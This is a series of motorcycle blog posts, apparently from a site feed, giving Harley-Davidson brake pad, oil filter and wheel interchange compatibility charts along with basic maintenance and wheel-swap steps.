Q4. What’s better: organic, semi-metallic, or sintered pads?

Organic: Softer, less rotor wear, but shorter life.
Semi-metallic: Good balance of longevity and braking power.
Sintered: Long-lasting, best for heavy Touring bikes.

Q5. Do front and rear Harley brake pads differ?

Yes, front and rear pads are not interchangeable—always buy the correct set for each.

Final Thoughts

The right brake pads are essential for your Harley Davidson’s performance and safety. With the front & rear brake pad fitment chart above, you can quickly identify the correct part numbers for your model.

👉 Whether you ride a Sportster, Touring, or Pan America, always use quality pads for reliable braking and peace of mind on the road.

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Harley Davidson Oil Filter Chart [Find the Right Fit] https://www.twowheller.com/oil-filter-chart/ https://www.twowheller.com/oil-filter-chart/#respond Fri, 24 Jul 2026 11:49:05 +0000 https://www.twowheller.com/?p=1222 Changing your Harley Davidson’s oil filter is one of the simplest but most important maintenance tasks. The oil filter keeps your engine oil clean by trapping dirt, metal particles, and debris, ensuring your Harley runs smoothly for thousands of miles.

But with different models and years using different filter sizes and part numbers, it can be tricky to know which oil filter is right for your motorcycle.

That’s why we’ve created this Harley Davidson Oil Filter Compatibility Chart — a complete guide to help you find the perfect oil filter for your bike.

Why Do You Need a Harley Davidson Oil Filter Chart?

Using the wrong oil filter can cause oil pressure problems, leaks, or even reduced lubrication, which can damage your engine over time.

Here’s why an oil filter chart is essential:

  • Engine Protection – Keeps contaminants out of the oil circulation.
  • Performance – Ensures proper oil flow and pressure.
  • Longevity – Helps extend the life of your Harley’s engine.
  • Convenience – Quickly find the correct part number without guesswork.

By following this chart, you’ll always know the exact filter that fits your Harley Davidson model.

Harley Davidson Oil Filter Chart (By Model)

Harley Davidson Oil Filter Chart

⚡ Tip: Harley oil filters come in chrome and black finishes. The part numbers may differ slightly by finish, but the fit and function remain the same.

Touring Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
FLHT / FLHR / FLTR1999–200663796-77AStandard filter
Touring Models2007–201763798-99A / 63731-99A (Chrome)Fits Twin Cam engines
Touring Models2018–202462700296 (Black), 62700297 (Chrome)Fits Milwaukee-Eight engines

Softail Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
Softail FXST / FLST2000–200663796-77AStandard filter
Softail Models2007–201763798-99A / 63731-99ATwin Cam compatibility
Softail (M8 Engines)2018–202462700296 / 62700297Milwaukee-Eight engines

Dyna Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
Dyna FXD / FXDWG2000–200663796-77AStandard filter
Dyna Models2007–201763798-99A / 63731-99AFits all Dyna models

Sportster Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
Sportster 883 / 12001986–200363805-80AStandard filter
Sportster Models2004–202063796-77A (Black), 63798-99A (Chrome)EFI and carb models
Sportster Iron / Forty-Eight2010–202263798-99APopular upgrade option

V-Rod Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
V-Rod VRSC2002–200663793-01Stock filter
V-Rod Muscle / Night Rod2007–201763731-99AHigh-performance fit

Street Models Oil Filter Chart

Model NameProduction YearOil Filter Part #Notes
Street 500 (XG500)2015–202063793-01KCompact engine design
Street 750 / Street Rod (XG750, XG750A)2015–202063793-01KOEM replacement

Things You Should Know About Harley Oil Filters

OEM vs Aftermarket: Harley recommends OEM filters, but high-quality aftermarket filters (like K&N, Fram, and Mobil1) are also available.

Filter Colors: Chrome and black filters have different part numbers but the same performance.

Change Interval: Replace the oil filter at every oil change — usually every 2,500–5,000 miles depending on oil type.

Check for Leaks: After replacement, always run the engine and inspect for leaks around the filter seal.

How to Replace an Oil Filter on a Harley Davidson

Warm up engine – Run for 2–3 minutes to thin the oil.

Drain old oil – Remove drain plug and drain completely.

Remove old filter – Use an oil filter wrench to loosen.

Lubricate new filter gasket – Apply a thin coat of clean oil.

Install new filter – Hand tighten, then 1/4 turn with wrench.

Refill oil – Add recommended oil type and quantity.

Check level – Run engine, stop, and recheck oil level.

Final Thoughts

The Harley Davidson Oil Filter Chart makes it easy to find the correct filter for your motorcycle. Whether you ride a Touring, Softail, Sportster, Dyna, V-Rod, or Street, using the right oil filter will keep your Harley’s engine clean, lubricated, and performing at its best.

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Harley Wheel Interchange Chart [Find Perfect Match] https://www.twowheller.com/harley-wheel-interchange-chart/ https://www.twowheller.com/harley-wheel-interchange-chart/#respond Tue, 21 Jul 2026 07:17:01 +0000 https://www.twowheller.com/?p=89 If you’re a Harley owner and looking for the Harley wheel interchange chart for your Harley motorcycle.

Then you come to the right place, and we will dive into the interchangeable wheel chart for every Harley model.

By utilizing this chart, you can ensure the best possible fit for your Harley, enhancing the ride quality and the aesthetic appeal of your motorcycle.

Why Do You Need Harley Wheel Interchange Chart

Harley Wheel Interchange Chart

A Harley wheel interchange chart is a critical tool for every Harley Davidson motorcycle owner or mechanic. 

It provides essential information on the compatibility of different wheel sizes with various Harley Davidson models.

Understanding this compatibility is vital when you’re considering upgrading your wheels, replacing worn-out ones, or simply customizing your motorcycle. 

By using a Harley wheel interchange chart, you can ensure you select wheels that will fit and function optimally with your particular Harley Davidson bike. 

This not only protects your investment but also ensures safety and performance while riding.

Harley Wheel Interchange Chart

This chart is instrumental if you’re looking to replace or upgrade wheels, as it ensures proper fit and safe operation. 

By referencing the chart, you can easily determine which wheels are interchangeable among various motorcycle models.

Here is the chart:

Harley Model/YearFront Wheel InterchangeabilityRear Wheel Interchangeability
Road King, Electra Glide, Road Glide (2000-2003)Rim- 16×3; Tire size– 130/90-16Rim– 16×3; Tire size- 130/90-16
Road King (2014–2019)Rim–17×3; Tire size– 130/80-17Rim-16×5; Tire size– 180/65-16
Blackline (2011-2013)Rim–21×2.15; Tire size–80/90-21Rim-16×3; Tire size–140/85-16

Things That Affect Wheel Interchangeability On Harley

There are several factors that influence wheel interchangeability on Harley motorcycles. 

Here are some of the things that affect the interchangeability of wheels.

1. Wheel Size

Wheel size is a critical factor in wheel interchangeability. It affects the bike’s handling, ride comfort, and overall performance. 

A larger wheel size may improve the motorcycle’s highway stability but might make low-speed steering more challenging. 

Conversely, a smaller wheel size might offer better maneuverability at lower speeds but less stability on highways. 

It’s essential to understand that changing the wheel size is not a simple swap and might require modifications to the brake system, suspension, or even the bike’s frame to ensure proper fit and safe operation.

2. Bolt Pattern

The bolt pattern on wheels is a critical factor affecting their interchangeability. 

A bolt pattern, also known as a bolt circle, is the diameter of an imaginary circle that passes through the center of the wheel’s lug holes or bolt holes. 

It is usually measured in millimeters and is essential to ensure the wheel fits securely onto the axle hub.

Harley wheels can have different bolt patterns, and using a wheel with an incompatible bolt pattern could lead to issues with fitting and stability. 

Therefore, it’s crucial to ensure the bolt pattern of the new wheel matches that of the original for a successful wheel interchange.

3. Axle Sizes

Axle sizes significantly influence wheel interchangeability on motorcycles. 

Harley motorcycles have seen a variety of axle sizes over the years, starting with 1/2-inch to 11/16-inch axles in the early models, progressing to 3/4-inch axles, and then to 1-inch and 25mm axles in more recent models. 

The axle size needs to match the wheel’s hub for proper installation and safe operation.

Therefore, a wheel won’t fit correctly if the axle size isn’t compatible with the wheel’s hub.

What Issues May Arise While Interchanging The Wheels On Harley?

There are a few potential issues that can arise when interchanging the wheels on a Harley-Davidson motorcycle. 

Here are some of the issues that can arise while interchanging wheels.

1. Alignment Issues

When changing wheels on a Harley, one common issue that might arise is alignment problems. Proper wheel alignment is crucial to the optimal performance and safety of the motorcycle. 

Misalignment can result in irregular tire wear, poor handling, and decreased stability, particularly when cornering. 

Moreover, it can also lead to uncomfortable riding due to the constant need to correct the bike’s direction. 

It’s essential to use appropriate tools and follow the manufacturer’s guidelines to ensure precise alignment.

2. Wheel Design Upgrades

When considering wheel design upgrades for a Harley, several factors come into play. One of the common issues that riders may encounter is a discrepancy in fit.

Not all wheel designs are universal, and some may not correspond perfectly with the existing Harley setup. 

This could lead to stability issues, impacting the overall riding experience and affecting the motorcycle’s handling. A different wheel design may alter the bike’s balance, affecting how it turns and maneuvers. 

Lastly, upgrading to a larger or heavier wheel design can impact the bike’s acceleration and braking performance. 

How can you interchange wheels on your Harley?

Interchanging the wheels on your Harley Davidson motorcycle can be a rewarding and cost-effective task if you have the right tools and guidance.

1. Gather Necessary Tools

Before you start, ensure you have the necessary tools: a motorcycle jack, a socket set, a torque wrench, and a new set of wheels that are compatible with your Harley model.

2. Lift the Bike

Use the motorcycle jack to lift your Harley off the ground. Ensure it is stable before proceeding.

3. Remove The Axle

Now, locate the axle that holds the wheel in place. Use your socket set to loosen and remove the axle nut, then pull the axle out.

4. Detach The Wheel

Once you’ve removed the axle, the wheel should slide out easily. Take note of any spacers that may come out with the wheel; you’ll need to replace these in the same order when you install the new wheel.

5. Attach The New Wheel

Slide the new wheel into place, taking care to replace any spacers in the correct order. Then, reinsert the axle and tighten the axle nut using your hands.

6. Secure the Axle

With the new wheel in place, use your torque wrench to secure the axle nut according to your Harley model’s specific torque specifications.

7. Lower the Motorcycle

Finally, carefully lower your motorcycle using the jack, and then take a test ride to ensure everything is set properly.

If you suspect any loose axles or nuts, then again, lift your bike and fix the issue.

What Size Is a Harley Front Wheel?

The size of a Harley Davidson’s front wheel largely depends on the model of the motorcycle. Typically, the wheel sizes range from around 16 inches to 21 inches. 

The Street Glide and Road King models, for instance, come with 18-inch front wheels, while the Softail Slim model has a 16-inch front wheel. On the other hand, the Breakout model boasts a larger 21-inch front wheel

What Size Are Harley Tyres?

Harley-Davidson motorcycles typically utilize a range of tire sizes depending on the model. 

For example, the Harley-Davidson Sportster 1200 Custom employs a front tire size of 130/90B16 73H and a rear tire size of 150/80B16 77H. 

Conversely, the Harley-Davidson Street Glide Special uses a front tire size of 130/60B19 61H and a rear tire size of 180/55B18 80H. 

What Size Wheels Are On a 2007 Harley Davidson Fatboy?

The 2007 Harley Davidson Fatboy is equipped with a 17-inch front wheel and a 17-inch rear wheel. 

This standard sizing for front and rear wheels provides the bike with a balanced and smooth ride, ensuring optimal performance on various terrains.

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